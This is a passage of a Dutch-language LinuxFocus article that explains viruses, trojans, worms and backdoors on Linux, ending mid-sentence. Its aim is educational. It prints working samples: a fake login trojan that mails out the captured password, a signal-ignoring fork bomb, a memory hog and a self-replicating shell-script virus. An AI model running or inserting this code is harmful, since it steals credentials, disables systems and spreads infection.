<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta name="generator" content=
"HTML Tidy for Linux/x86 (vers 1st October 2002), see www.w3.org">
<!-- this stylesheet will later on be added by lfparser automatically: -->
<style type="text/css">
<!--
pre { font-family:monospace,Courier }
p.code { width:80%; alignment:center; background-color:#aedbe8; border-style:no ne; border-width:medium; border-color:#aedbe8; padding:0.1cm ; text-align:left }
-->
</style>
<title></title>
</head>
<body>
<h1>Virussen: een zorg voor ons allen</h1>
<h4>ArticleCategory:</h4>
System Administration
<h4>AuthorImage:</h4>
<img src="../../common/images/Christophe-Blaess.jpg" width="100"
height="138" alt="[Christophe Blaess]">
<h4>TranslationInfo:[Author and translation history]</h4>
<p>original in fr <a href=
"http://perso.club-internet.fr/ccb/">Christophe Blaess</a></p>
<p>fr to en <a href=
"mailto:georges.t(at)linuxfocus.org">Georges
Tarbouriech</a></p>
<p>en to nl <a href="mailto:hjh@passys.nl">Hendrik-Jan
Heins</a></p>
<h4>AboutTheAuthor</h4>
<p>Christophe Blaess is een onafhankelijke aeronautica ingenieur.
Hij is een Linux fan en doet veel van z'n werk op dit systeem. Hij
coördineert de vertaling van de man pages zoals die
gepubliceerd worden bij het <i>Linux Documentation Project</i>.</p>
<h4>Abstract:</h4>
Dit artikel was eerder gepubliceerd in een speciale editie van het
Linux Magazine France dat ging over beveiliging. De editor, de
auteurs en de vertalers zijn zo vriendelijk geweest om LinuxFocus
toe te staan alle artikelen uit dit nummer te publiceren.
LinuxFocus zal deze artikelen, zodra ze vertaald zijn in het
Engels, publiceren. Dank aan alle mensen die betrokken zijn bij dit
werk. Deze tekst zal bij ieder artikel uit deze serie worden
weergegeven.
<h4>ArticleIllustration:</h4>
<img src="../../common/images/article255/virus.gif" width="178"
height="178" alt="virus" hspace="10">
<h4>ArticleBody:[The article body]</h4>
<h2>Vooraf</h2>
<p>Dit artikel is gewijd aan interne beveiligingsproblemen die
kunnen optreden op Linux systemen door agressieve software. Dit
soort software kan schade veroorzaken zonder tussenkomst van
mensen: Virussen, Wormen, Trojaanse Paarden (Trojans), enz. We
zullen diep ingaan op de kwetsbare plekken, en de voor- en nadelen
van free software hierbij beschouwen.</p>
<h2>Inleiding</h2>
<p>Er zijn vier verschillende soorten bedreigingen die door
gebruikers nogal eens door elkaar worden gehaald, dit gebeurt
vooral doordat een aanval meestal gebaseerd is op meerdere
mechanismen:</p>
<ul>
<li><em>Virussen</em> reproduceren zichzelf en tasten de inhoud van
bestanden op de gastheer machine aan;</li>
<li><em>Trojaanse paarden</em> voeren opdrachten uit en verbergen
zichzelf in onschuldig uitziende programma's;</li>
<li><em>Wormen</em> maken gebruik van het vermogen van
computernetwerken om zichzelf voort te planten, zij maken
bijvoorbeeld gebruik van e-mail;</li>
<li><em>Backdoors (achterdeuren)</em> maken het mogelijk voor een
externe gebruiker om programma's over te nemen via een omweg.</li>
</ul>
<p>Klassificatie is niet altijd even eenvoudig; er zijn
bijvoorbeeld programma's die beschouwd worden als virussen door de
een, maar als wormen door een ander, hierdoor wordt de ware aard
een lastige bepaling. Het is voor dit artikel niet van belang om
hier dieper op in te gaan, hier gaat het om de gevaren die een
Linux systeem kunnen bedreigen.</p>
<p>In tegenstelling tot wat velen denken, bestaan deze vier plagen
ook al onder Linux. Het is voor een virus natuurlijk wel lastiger
om zich hier te verspreiden dan onder bijvoorbeeld DOS, maar het
gevaar moet niet onderschat worden. Laten we eens analyseren wat de
risico's zijn.</p>
<b>De mogelijke gevaren</b>
<h3>Virussen</h3>
<p>Een virus is een stukje code dat geïnstalleerd is in de
kern van een gastheer programma en zichzelf kan dupliceren door een
nieuw programma te infecteren. Virussen zijn vor het eerst
ontwikkeld in de jaren zeventig, tijdens een spel dat de
programmeurs in die tijd speelden, dit spel heette "<em>core
war</em>". Het spel komt uit de Bell AT&T laboratoria <a href=
"#bib">[MARSDEN 00]</a>. Het doel van het spel was om in een
bepaald deel van het geheugen kleine programmaatjes die elkaar
konden vernietigen, parallel te draaien. Het besturingssysteem bood
de door de programma gereserveerde geheugenruimte geen bescherming,
dus de tegen elkaar gerichte agressie die erop gericht was om
elkaar vernietigen, was mogelijk. Om dit voor elkaar te krijgen,
"bombardeerden" sommigen de grootst mogelijke geheugengebieden met
"0", terwijl anderen zichzelf continu verplaatsten over het
geheugengebied en aldus hoopten de concurrent te overschrijven,
soms werkten enkelen hiervan zelfs samen om de concurrentie uit te
schakelen.</p>
<p>De algoritmen die gebruikt werden voor het spel werden omgezet
in een assembleertaal die hier speciaal voor was ontwikkeld, de
"<em>red code</em>", die werd uitgevoerd via een emulator die te
vinden was op de meeste machines. De interesse in het spel was
voornamelijk wetenschappelijke interesse, zoals de interesse in het
"Life of Conway" spel, de fractals, de genetische algoritmen,
enz.</p>
<p>Echter, na de publicatie van artikelen over de <em>core
war</em>, in de <em>Scientific American</em> <a href=
"#bib">[DEWDNEY 84]</a>, moest het onvermijdelijke wel gebeuren en
begonnen enkele mensen met het schrijven van bits met
zichzelf-vermenigvuldigende code, speciaal gericht op de boot
sector van floppies of uitvoerbare bestanden, eerst op Apple
computers, en daarna op MacIntosh en PC's.</p>
<p>Het MS-DOS besturingssysteen was een geliefd doel om virussen op
te ontwikkelen: statische uitvoerbare bestanden met een zeer bekend
formaat, geen geheugenbescherming, geen beveiliging van de
bestandstoegangsrechten, een wijd verbreid gebruik van <em>TSR</em>
residente programma's die gestapeld werden in het geheugen, enz. We
moeten hier wel aan toevoegen dat de manier waarop de gebruiker
ermee werkte ook van belang was, het in het wilde weg uitwisselen
van uitvoerbare programma's op floppies, zelfs zonder zich zorgen
te maken over de afkomst van de bestanden.</p>
<p>In z'n eenvoudigste vorm is een virus een klein stukje code dat
wordt uitgevoerd als een extra commando bij het uitvoeren van een
uitvoerbaar bestand. Het zal gebruik maken van die tijd om op zoek
te gaan naar andere uitvoerbare bestanden die nog niet
geïnfecteerd zijn, zichzelf daarin kopiëren (liefst
zonder het origineel te veranderen om minder op te vallen) en
daarna eindigen. Bij het starten van het nieuwe uitvoerbare
bestand, begint dit proces opnieuw.</p>
<p>Virussen kunnen gebruik maken van een groot arsenaal aan
"wapens" om zichzelf te kopiëren. In <a href="#bib">[LUDWIG
91]</a> en [LUDWIG 93] is er een gedetailleerde uitleg te vinden
over virussen voor DOS, door gebruik te maken van geavanceerde
middelen om zich te verbergen om voor te blijven op de huidige
nti-virus software: random encryptie, permanente verandering van
code, enz. Het is zelfs mogelijk om virussen tegen te komen die
gebruik maken van genetische algoritmen om hun kansen op overleven
en voortplanten te vergroten. Soortgelijke methoden worden
beschreven in een zeer beroemd artikel: <a href="#bib">[SPAFFORD
94]</a>.</p>
<p>Maar we moeten onthouden dat behalve het onderwerp van
experimenten met kunstmatig leven, het computer virus
wijdverspreide schade tot gevolg kan hebben. Het principe van
meervoudig kopiëren van een bit code is alleen maar misbruik
van ruimte (disk en geheugen), maar virussen worden gebruikt als
een ondersteuning - transportmiddel - voor andere entiteiten die
veel onaangenamer zijn: de <em>logische bommen</em>, die we ook
zullen tegenkomen in Trojaanse paarden.</p>
<h3>Trojaanse paarden en logische bommen</h3>
<cite>Timeo Danaos et dona ferentes - Ik vrees de Grieken nog meer
als ze geschenken brengen.</cite> (Virgilius, de <em>Aeneas</em>,
II, 49).
<p>De belegerde Trojanen hebben het slechte idee gehad om een groot
houten standbeeld van een paard, dat verlaten was door de Griekse
belegeraars als een religieus offer, de stad binnen te halen. Het
Trojaanse paard zat van binnen vol met Grieken, die, zodra ze
binnen waren, 's nachts de stad van binnenuit aanvielen, wat hen de
zege van de Trojaanse oorlog opleverde.</p>
<p>De beroemde term "Trojaans paard" wordt vaak gebruikt als het
gaat om computer beveiliging wat betreft een <em>a priori</em>
onschuldige applicatie die, zoals het hierboven genoemde virus, een
vernietigende code - een <em>logische bom</em> genaamd -
verspreidt.</p>
<p>Een logische bom is een deel van een programma dat met opzet
gemaakt is om schade toe te brengen, de effecten kunnen onder
andere de volgende zijn:</p>
<ul>
<li>grote verspilling van systeembronnen (geheugen, harde schijf,
processorcapaciteit, enz.);</li>
<li>snelle vernietiging van zo veel mogelijk bestanden (ze worden
overschreven zodat gebruikers hun bestanden niet meer terug kunnen
krijgen);</li>
<li>onderhandse vernietiging van een bestand in de zoveel tijd, om
zolang mogelijk onontdekt te blijven;</li>
<li>een aanval op de systeemveiligheid (een implementatie van
weinig beperkende toegangsrechten, het sturen van
wachtwoordbestanden naar een internet adres, enz.);</li>
<li>gebruik van de machine voor computer terrorisme, zoals DDoS
(<em>Distributed Denial of Service</em>) zoals genoemd in het
beroemde artikel van <a href="#bib">[GIBSON 01].</a></li>
<li>een inventaris van licentienummers wat betreft applicaties op
de schijf die vervolgens worden gestuurd naar een software
ontwikkelaar.</li>
</ul>
In sommige gevallen wordt de logische bom geschreven voor een
specifiek doelsysteem waarvan wordt gepoogd om vertrouwelijke
gegevens te stelen, bepaalde bestanden te vernietigen, of om een
gebruiker in diskrediet te brengen door zijn identiteit aan te
nemen. Als deze bom op een ander systeem wordt uitgevoerd, is hij
niet schadelijk.
<p>De logische bom kan ook proberen om fysiek het systeem waar het
in zit te vernietigen. De mogelijkheden hiervoor zijn beperkt, maar
ze bestaan wel (CMOS geheugen wissen, veranderingen van modem flash
geheugen, destructieve bewegingen van de kop van een printer,
plotter, scanner, versnelde beweging van de koppen van de harde
schijf...).</p>
<p>Om verder te gaan op de "explosieve" metafoor, kunnen we zeggen
dat een logische bom een ontsteker nodig heeft om te worden
geactiveerd. Het is een slechte tactiek om al bij de eerste keer
starten van een Trojaans paard of een virus, vernietigende acties
uit te voeren, aangezien dit niet erg efficient is. Na installatie
kan de logische bom beter wachten voordat hij "afgaat". Dit
verhoogt bij virussen de kans om andere systemen te bereiken als
hij zichzelf wil verspreiden, en bij Trojaanse paarden zorgt het
ervoor dat de gebruiker te eenvoudig de link legt tussen de nieuw
geïnstalleerde applicatie en het vreemde gedrag van z'n
machine.</p>
<p>Zoals bij iedere schadelijke actie, kan het "trekkermechanisme"
variëren: het verwijderen van een gebruikersaccount 10 dagen
na installatie (lay-off), een voor 30 minuten inactieve muis en
toetsenbord, een grote wachtrij voor de printer... de mogelijkheden
zijn eindeloos! De bekendste Trojaanse paarden zijn
schermbeveiligingen. Achter een aantrekkelijk uiterlijk, kunnen
deze programma's zonder kans op ontdekking schade aanrichten,
vooral als de logische bom alleen wordt geactiveerd na een uur 's
nachts, aangezien je er dan vrij zeker van kan zijn dat er geen
gebruiker achter de computer zit.</p>
<p>Een ander bekend voorbeeld van een Trojaans paard is het
volgende script, dat een login/wachtwoord scherm weergeeft, deze
stuurt de informatie naar de persoon die hem gemaakt heeft, en
stopt. Als het werkt op een ongebruikte terminal, kan dit script
het wachtwoord van de volgende gebruiker die probeert in te loggen,
doorsturen.</p>
<pre>
#! /bin/sh<br>
<br>
clear<br>
cat /etc/issue<br>
echo -n "login: "<br>
read login<br>
echo -n "Password: "<br>
stty -echo<br>
read passwd<br>
stty sane<br>
mail $USER <<- fin<br>
login: $login<br>
passwd: $passwd<br>
fin<br>
echo "Login incorrect"<br>
sleep 1<br>
logout<br>
</pre>
<p>Om ervoor te zorgen dat het afsluit als het beeindigd is, moet
het worden gestart met het <code>exec</code> commandoregel
commando. Het slachtoffer zal denken dat hij/zij een typefout heeft
gemaakt als het "<em>Login incorrect</em>" verschijnt en zal
opnieuw op de normale manier inloggen. Geavanceerdere versies
kunnen een X11 verbindingsdialoog simuleren. Om dit soort
valstrikken te vermijden, is het verstandig om eerst een valse
login/wachtwoord in te geven als u een terminal gebruikt (dit is
heel makkelijk en snel aan te leren).</p>
<h3>Wormen</h3>
<cite>En Paul bevond zich op de Worm, jubelend, als een keizer die
het universum domineert.</cite> (F. Herbert "<em>Dune</em>")
<p>"<em>Wormen</em>" zijn ontstaan uit hetzelfde principe als
virussen. Het zijn programma's die proberen zichzelf te
vermenigvuldigen om een maximale verspreiding te behalen. En ook al
is het niet hun belangrijkste kenmerk, ze kunnen ook een logische
bom bevatten met een vertraging. Het verschil tussen wormen en
virussen ligt in het feit dat wormen geen gebruik maken van een
gastheerprogramma als transportmiddel, maar in plaats daarvan
proberen ze te profiteren van de mogelijkheden die netwerken
bieden, zoals e-mail, om zich te verspreiden van machine naar
machine.</p>
<p>Het technische niveau van wormen is vrij hoog; ze maken gebruik
van de kwetsbaarheden in software die netwerkdiensten leveren om
zichzelf te dupliceren op een andere, niet-lokale machine. Het
archetype is de 1988 "<em>Internet Worm</em>".</p>
<p>De <em>Internet Worm</em> is een voorbeeld van een worm in pure
vorm, die geen logische bom bevat, maar z'n onbedoelde
vernietigende effect was gigantisch. Je kunt een korte maar
accurate omschrijving vinden bij <a href="#bib">[KEHOE 92]</a> of
een gedetailleerde analyse bij <a href="#bib">[SPAFFORD 88]</a> of
<a href="#bib">[EICHIN 89]</a>. Er is ook een minder technische en
spannendere uitleg te vinden bij <a href="#bib">[STOLL 89]</a> (dat
het <em>Koekoeksei</em> verhaal volgt), hier is te volgen met welke
moeite de teams deze worm bevechten na de paniek van de
systeembeheerders wiens systemen zijn geïnfecteerd.</p>
<p>Een korte versie: deze worm was een programma geschreven door
Robert Morris Jr, een student aan de Cornell universiteit, die al
bekend was door een artikel over veiligheidsproblemen met netwerk
protocollen <a href="#bib">[MORRIS 85]</a>. Hij is de zoon van een
man die hoofd is van de afdeling computerbeveiliging bij de NCSC,
een tak van de NSA. Het programma is gestart aan het einde van de
middag van 2 november 1988 en het legde de meeste systemen die
verbonden waren met internet plat. Het werkte in verschillende
fasen:</p>
<ol>
<li>Zodra een computer geïnfiltreerd was, probeerde de worm
zich verder te verspreiden over het netwerk. Om adressen te vinden,
las hij systeembestanden en riep hij programma's als
<code>netstat</code> aan om informatie te krijgen over netwerk
apparaten.</li>
<li>Hierna probeerde hij gebruikersaccounts te openen. Hiervoor
vergelijkte hij de inhoud van een woordenboek met het
wachtwoordbestand. Hij probeerde ook wachtwoorden gebaseerd op
combinaties van de letters van de gebruikersnaam (omdraaien,
herhalen, enz.). Deze stap was alleen te zetten als de wachtwoord
bestand gecodeerd was in een leesbaar/te openen bestand
(<code>/etc/passwd</code>), op deze manier kon hij gebruik maken
van slecht gekozen wachtwoorden. Deze eerste kwetsbaarheid is nu
opgelost dankzij de <em>shadow passwords</em>.</li>
<li>Als hij er in slaagde om bij de gebruikersaccount te komen,
probeerde de worm machines te vinden die directe toegang gaven
zonder identificatie procedure, dus door gebruik te maken van
<code>~/.rhost</code> en <code>/etc/hosts.equiv</code> bestanden.
In dat geval maakte het gebruik van <code>rsh</code> om instructies
uit te voeren op de niet-lokale machine. Zo kon het zichzelf
kopiëren naar de nieuwe gastheer en kon de cyclus opnieuw
beginnen.</li>
<li>Anders is er een tweede kwetsbaarheid die gebruikt werd om in
een andere machine te komen: een <code>fingerd</code> buffer
overflow lek. (Zie ook de serie over veilig programmeren: <a href=
"http://www.linuxfocus.org/Nederlands/January2001/article182.shtml">
Het vermijden van een veiligheidslek bij het ontwikkelen van een
applicatie - Deel 1</a>, <a href=
"http://www.linuxfocus.org/Nederlands/March2001/article183.shtml">Het
vermijden van een veiligheidslek bij het ontwikkelen van een
applicatie - Deel 2: geheugen, stack en functies,
commandoregelcode</a>, <a href=
"http://www.linuxfocus.org/Nederlands/May2001/article190.shtml">Het
vermijden van een veiligheidslek bij het ontwikkelen van een
applicatie - Deel 3: buffer overflows</a>.)<br>
Deze bug stond het uitvoeren van niet-lokale code toe. Daarna kon
de worm zichzelf kopiëren naar het nieuwe systeem en kan de
cyclus opnieuw beginnen. Dit werkte echter slechts bij enkele typen
processoren.</li>
<li>Tenslotte werd er een derde kwetsbaarheid gebruikt: een debug
optie, die standaard aanstaat in de <code>sendmail</code> daemon,
die ervoor zorgt dat mail verstuurd wordt naar de standaard input
van het programma dat wordt aangegeven als doel. Deze optie zou
nooit aan hebben mogen staan op productie-machines, maar helaas
vergaten of negeerden de meeste beheerders het bestaan
hiervan.</li>
</ol>
<p>Opmerking: Zodra een worm enkele instructies heeft kunnen
uitvoeren op een niet-lokale machine, is de manier waarop hij
zichzelf kopieert vrij complex. Hiervoor is het verzenden van een
klein C programma, dat ter plekke opnieuw wordt gecompileerd en
gestart, noodzakelijk. Daarna start het een TCP/Ip verbinding naar
de moedercomputer en haalt de binaire code van de worm op. Deze
laatste is voorgecompileerd voor, waar mogelijk, verschillende
architecturen (Vax en Sun), en de een na de ander wordt nu getest.
Bovendien is de worm er vrij goed in om zichzelf zonder sporen te
verbergen.</p>
<p>Helaas werkt het mechanisme dat ervoor zorgt dat een al besmette
computer niet nogmaals geïnfecteerd wordt, niet zoals verwacht
en de schadelijke bijwerking van de <em>Internet 88</em> worm, die
geen logische bom bevatte, toonde zichzelf als een overbelasting
van de geïnfecteerde systemen (door onder andere het blokkeren
van e-mail waardoor het aanleveren van een oplossing meer tijd
kostte).</p>
De auteur van de worm is enige tijd in de gevangenis gezet.
<p>Wormen zijn relatief zeldzaam omdat ze zo complex zijn. Ze
moeten dan ook niet verward worden met een ander soort gevaar, de
virussen die verzonden worden als attachment aan een e-mail, zoals
het beroemde "<em>ILoveYou</em>". Dit type is vrij eenvoudig te
maken, aangezien ze zijn geschreven als macro (in Basic) voor
applicaties die automatisch starten bij het lezen van de mail. Dit
werkt alleen op sommige besturingssytemen, wanneer het e-mail
programma te eenvoudig is ingesteld. Dit soort programma's lijkt
meer op een Trojaans paard dan op een worm, aangezien ze een actie
van de gebruiker nodig hebben om gestart te worden.</p>
<h3>Backdoors</h3>
<p><em>Backdoors</em> kunnen worden vergeleken met Trojaanse
paarden, maar ze zijn niet identiek. Een backdoor laat een
("gevorderde") gebruiker software veranderen, zodat het anders
werkt. Het kan worden vergeleken met de <em>cheat codes</em> die
gebruikt worden in spellen om bijvoorbeeld meer bronnen te
verkrijgen of een hoger level te bereiken. Maar het geldt ook voor
critische applicaties zoals autorisatie of e-mail, aangezien ze
ongeziene toegang met een wachtwoord dat alleen de bouwer van de
software kent, kunnen gebruiken.</p>
<p>Programmeurs die de debug fase willen vergemakkelijken, bouwen
vaak een kleine achterdeur in, om de software te kunnen gebruiken
zonder via het autorisatie mechanisme te hoeven gaan, zelfs wanneer
de applicatie geïnstalleerd is bij een client. Soms zijn het
officiële toegangsmechanismen met standaard wachtwoorden
(<code>system</code>, <code>admin</code>, <code>superuser</code>,
enz), maar zijn ze niet goed gedocumenteerd waardoor de beheerders
er niets mee doen.</p>
<p>Onthoud dat er verschillende verborgen toegangen bestaan om te
communiceren met de kern van het systeem zoals in de film
"<em>Wargame</em>" naar voren komt, maar je kunt ook eerdere
rapporten van dergelijke praktijken vinden. In een ongelofelijk
artikel van Ken Thompson <a href="#bib">[THOMPSON 84]</a>, een van
de "vaders" van Unix, wordt de verborgen toegang die hij vele jaren
geleden in Unix systemen implementeerde, beschreven:</p>
<ul>
<li>Hij had de <code>/bin/login</code> applicatie veranderd zodat
er een bit code meeging dat directe toegang tot het systeem gaf via
een meegecodeerd wachtwoord (dus zonder te kijken naar
<code>/etc/passwd</code>). Op deze manier kon Thompson ieder
systeem bezoeken met behulp van deze <code>login</code>
versie.</li>
<li>Echter, de broncode van de applicatie was altijd beschikbaar
(zoals met de huidige free software). En de <code>login.c</code>
broncode was aanwezig in de Unix systemen en iedereen kon de code
lezen. Dus Thompson leverde een "schone" <code>login.c</code>
broncode, zonder de achterdeur.</li>
<li>Het punt was dat iedere beheerder de <code>login.c</code> kon
hercompileren en daarmee de achterdeur kon verwijderen. Hierna
modificeerde Thompson de standaard C compiler zodat deze de
achterdeur toevoegde wanneer iemand <code>login.c</code> probeerde
te compileren.</li>
<li>Maar ook de compiler broncode <code>cc.c</code> was beschikbaar
en iedereen had de brondcode ervan kunnen lezen of hercompileren.
Thompson leverde ook een "schone" compiler broncode, maar het
binaire bestand, dat dus al gecompileerd was, kon z'n eigen
bronbestanden herkennen, en stopte er dan de code in die gebruikt
werd om <code>login.c</code> te infecteren...</li>
</ul>
<p>Wat is hiertegen te doen? Eigenlijk niets! De enige manier zou
zijn het starten met een brandschoon systeem. Tenzij je een machine
opbouwt vanaf de basis en zelf de gehele microcode, het
besturingssysteem, de compilers, de gereedschappen schrijft, kan je
er niet zeker van zijn dat iedere applicatie schoon is, zelfs niet
als de broncode beschikbaar is.</p>
<h2>En, hoe zit het met Linux?</h2>
<p>We hebben de belangrijkste risico's aangegeven voor alle
systemen. Nu gaan we kijken naar de bedreigingen voor free software
en Linux</p>
<h3>Logische bommen</h3>
<p>Laten we allereerst eens kijken naar de schade die een logische
bom kan veroorzaken als hij wordt uitgevoerd op een Linux box. Dit
is natuurlijk afhankelijk van het gewenste effect en de rechten van
de gebruiker die hem uitvoert.</p>
<p>Wat betreft de vernietiging van een bestandssysteem of het lezen
van vertrouwelijke gegevens, zijn er twee mogelijkheden. Als de bom
zich uitvoert onder de identiteit van <em>root</em>, zal hij alles
op de machine kunnen, inclusief het verwijderen van iedere partitie
en het beschadigen van de hardware, zoals hierboven al is genoemd.
Als hij is gestart onder welke andere identiteit dan ook, zal het
niet meer kunnen vernietigen dan dat wat de betreffende gebruiker
kan. Hij kan nu alleen gegevens die van deze gebruiker zijn
aantasten. In dat geval is iedere gebruiker namelijk eigenaar van
z'n eigen bestanden. Een preciese systeembeheerder voert slechts
weinig taken uit als <em>root</em>, dat maakt de kans op het
starten van een logische bom onder deze account minder
waarschijnlijk.</p>
<p>Het Linux systeem is vrij goed in het beschermen van
privé gegevens en toegang tot hardware, maar het is wel
gevoelig voor aanvallen gericht op het inoperabel maken door veel
bronnen te bezetten. Bijvoorbeeld het volgende C programma dat
lastig te stoppen is, zelfs als het door een gewone gebruiker wordt
gestart, omdat het, als het aantal maximaal te openen processen
niet is gelimiteerd, alle beschikbare bronnen zal "opeten" en
pogingen om het te sluiten (kill), vrijwel onmogelijk maakt:</p>
<pre>
#include <signal.h><br>
#include <unistd.h><br>
<br>
int<br>
main (void)<br>
{<br>
int i;<br>
for (i = 0; i < NSIG; i ++)<br>
signal (i, SIG_IGN);<br>
while (1)<br>
fork ();<br>
}<br>
</pre>
<p>De limieten die je in kan stellen voor gebruikers (met de
<code>setrlimit()</code> systeem aanroep, en de comanndoregel
functie <code>ulimit</code>) maken het mogelijk om het "leven" van
een dergelijk programma te verkorten, maar ze werken alleen na
enige tijd en tot die tijd is het systeem onbereikbaar.</p>
<p>Op hetzelfde vlak, gebruikt een programma zoals het volgende al
het beschikbare geheugen en loopt het rondjes waarbij hij de CPU
cycli "eet", daardoor verstoort het de andere processen:</p>
<pre>
#include <stdlib.h><br>
<br>
#define LG 1024<br>
<br>
int<br>
main (void) {<br>
char * buffer;<br>
while ((buffer = malloc (LG)) != NULL)<br>
memset (buffer, 0, LG);<br>
while (1)<br>
;<br>
}<br>
</pre>
<p>Meestal wordt dit programma automatisch afgesloten door het
virtuele geheugenbeheer systeem van de nieuwste kernels. Maar
hiervoor kan de kernel andere taken afsluiten die veel geheugen
kosten en op dat moment inactief zijn (zoals bijvoorbeeld X11
applicaties). Bovendien krijgen andere processen die geheugen nodig
hebben dat niet toegewezen, waardoor ze meestal afgesloten
worden.</p>
<p>Netwerkfuncties uitschakelen is ook vrij eenvoudig, het
overbelasten van de betreffende poort met continue
verbindingsaanvragen is voldoende. Er bestaan oplossingen om dit te
vermijden, maar die worden niet altijd door de beheerder
geïmplementeerd. Het valt op dat onder Linux een logische bom,
zelfs als deze gestart is door een normale gebruiker, vrij
verstorend kan werken. Voldoende verstorend om enkele
<code>fork()</code>, <code>malloc()</code> en
<code>connect()</code> commando's uit te voeren en het systeem en
de netwerk services behoorlijk te belasten.</p>
<h3>Virussen</h3>
<table>
<tbody>
<tr>
<td bgcolor="#AAAAAA">
<pre>
Onderwerp: Unix Virus<br>
<br>
JE HEBT EEN UNIX VIRUS ONTVANGEN<br>
<br>
Dit virus werkt alleen als mensen elkaar blijven waarschuwen:<br>
<br>
Als je Linux of Unix gebruikt, stuur deze mail dan door naar al je<br>
vrienden en vernietig willekeurig enkele bestanden op je systeem.<br>
</pre>
</td>
</tr>
</tbody>
</table>
<p>Ondanks het idee dat velen hebben, kunnen virussen een
bedreiging zijn onder Linux. Er bestaan er enkele. Het is echter
wel waar dat Linux geen handig gebied is voor een virus om zich te
verspreiden. Laten we eerst eens kijken naar de fase waarin een
machine wordt geïnfecteerd. De code van het virus moet daar
dan uitgevoerd worden. Dit betekent dat er een besmet bestand van
ergens anders moet zijn gekopieerd. Bij Linux is het gebruikelijk
dat je een applicatie aan een ander geeft door hem te vertellen op
welke <em>URL</em> de software te vinden is, in plaats van hem de
uitvoerbare bestanden toe te sturen. Dit betekent dat een virus van
een officiële site moet komen, en daar zal het al snel ontdekt
worden. Zodra een machine is geïnfecteerd, moet hij, voordat
het virus verspreid kan worden,worden gebruikt als een platform
voor voorgecompileerde programma's, en daar zijn er niet veel van.
Het uitvoerbare bestand is dus geen goed vervoersmiddel voor de
logische bom in de free software wereld.</p>
<p>Wat betreft de verspreiding in de machine; een besmette
applicatie kan zich alleen verspreiden naar bestanden waartoe de
gebruiker die de applicatie heeft gestart, schrijftoegang heeft. De
slimme systeembeheerder werkt alleen als <em>root</em> tijdens
acties die deze privileges echt nodig hebben, en dan is het
onwaarschijnlijk dat nieuwe software gestart wordt onder deze
identiteit. Behalve voor de installatie van een <em>Set-UID
root</em> applicatie, is het risico hiermee aanmerkelijk verkleind.
Zodra een normale gebruiker een geïnfecteerd programma start,
zal het virus alleen verspreiden naar de bestanden die van die
gebruiker zijn, en niet verspreiden naar de systeem
gereedschappen.</p>
<p>Virussen zijn lang afgeschilderd als een schijn-dreiging onder
Unix, dit komt mede door de verscheidenheid aan processoren (en dus
programmeertalen) en bibliotheken (dan object referenties) waardoor
het bereik van voorgecompileerde code aanzienlijk wordt beperkt.
Vandaag de dag is dat niet meer waar; een virus dat ELF bestanden
infecteert die gecompileerd zijn voor Linux op een i386 processor
met GlibC 2.1 zal veel potentiele gastheren vinden. Bovendien kan
een virus nu worden geschreven in een taal die niet afhankelijk is
van de gastheer die hem uitvoert. Hier is bijvoorbeeld een virus
voor commandoregel scripts. Het probeert in ieder
commandoregelscript in de map waarin het gestart is, te komen. Om
een tweede infectie te voorkomen, negeert het virus alle bestanden
waarbij de tweede regel het commentaar "infected" of "vaccinated"
bevat.</p>
<pre>
#! /bin/sh<br>
# infected<br>
<br>
( tmp_fic=/tmp/$$<br>
candidates=$(find . -type f -uid $UID -perm -0755)<br>
for fic in $candidates ; do<br>
exec < $fic<br>
# Let's try to read a first line,<br>
if ! read line ; then<br>
continue<br>
fi<br>
# and let's check it is a shell script.<br>
if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then<br>
continue<br>
fi<br>
# Let's read a second line.<br>
if ! read line ; then<br>
continue<br>
fi<br>
# Is the file already infected or vaccinated ?<br>
if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then<br>
continue<br>
fi<br>
# Otherwise we infect it: copy the virus body,<br>
head -33 $0 > $tmp_fic<br>
# and the original file.<br>
cat $fic >> $tmp_fic<br>
# Overwrite the original file.<br>
cat $tmp_fic > $fic<br>
done<br>
rm -f $tmp_fic<br>
) 2>/dev/null &<br>
</pre>
<p>Het virus probeert zichzelf of z'n acties niet te verbergen,
behalve het feit dat het in de achtergrond draait terwijl het
normale script werkt zoals gewoonlijk. U moet dit script natuurlijk
niet uitvoeren als <em>root</em> ! Vooral niet wanneer u het
commando <code>find</code> . vervangt door het commando <code>find
/</code>. Behalve de eenvoud van dit programma, is het zeer
eenvoudig om de controle erover kwijt te raken, vooral als het
systeem veel aangepaste commandoregel scripts bevat.</p>
<p>Tabel 1 bevat informatie over bekende virussen onder Linux. Het
zijn allemaal met ELF uitvoerbare bestanden die hun code ingeven na
de bestandsheader en daarna de rest van de originele code
terugzetten. Tenzij anders aangegeven, zoeken ze potentiële
slachtoffers in de systeemmappen. UIt deze tabel kan je opmaken dat
Linux virussen niet slechts theoretisch zijn, ook al zijn ze tot nu
toe niet al te gevaarlijk.</p>
<table border="3" frame="border" class="TextInfo">
<caption>Table 1 - Virussen voor Linux</caption>
<tbody>
<tr>
<td><em>Naam</em></td>
<td><em>Logische Bom</em></td>
<td><em>Opmerkingen</em></td>
</tr>
<tr>
<td>Bliss</td>
<td>Schijnbaar inactief</td>
<td>Automatisch desinfectie van het uitvoerbare bestand wanneer dit
wordt aangeroepen met de optie
<code>--bliss-disinfect-files-please</code></td>
</tr>
<tr>
<td>Diesel</td>
<td>Geen</td>
<td> </td>
</tr>
<tr>
<td>Kagob</td>
<td>Geen</td>
<td>Maakt gebruik van een tijdelijk bestand om het origineel van
het geïnfecteerde programma te draaien</td>
</tr>
<tr>
<td>Satyr</td>
<td>Geen</td>
<td> </td>
</tr>
<tr>
<td>Vit4096</td>
<td>Geen</td>
<td>Infecteert alleen bestanden in de geopende map</td>
</tr>
<tr>
<td>Winter</td>
<td>Geen</td>
<td>De virus code is 341 bytes. Infecteert alleen bestanden in de
geopende map</td>
</tr>
<tr>
<td>Winux</td>
<td>Geen</td>
<td>Dit virus bevat twee verschillende codes, en kan zowel Windows
bestanden als ELF Linux bestanden infecteren. Het kan echter geen
andere partities verkennen dan degene waarop het is
geïnstalleerd, daardoor kan het zich minder goed
verspreiden</td>
</tr>
<tr>
<td>ZipWorm</td>
<td>Plaatst een "troll" tekst over Linux en Windows in de Zip
bestanden die het vindt. ("troll"= een soort gnoom, bekend uit de
Zweedse mythologie)</td>
<td> </td>
</tr>
</tbody>
</table>
<p>Het zal je zijn opgevallen dan het "Winux" virus zich zowel
onder Windows als onder Linux kan verspreiden. Het is een
